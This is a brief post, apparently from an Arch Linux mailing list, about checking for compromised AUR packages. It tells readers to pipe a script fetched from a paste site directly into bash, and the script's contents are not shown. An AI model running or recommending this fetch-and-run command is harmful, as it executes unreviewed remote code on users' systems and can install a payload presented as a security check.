From the ArchLinux mailing list: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/
You can check the state of your package by executing the following bash script:
curl -s https://cscs.pastes.sh/raw/aurvulntest20260611.sh | bash
If the command return the following message:
Affected Packages Found:
None. No known compromised packages are installed.
Then you are find.
If compromised packages are found, scan your computer with an antivirus.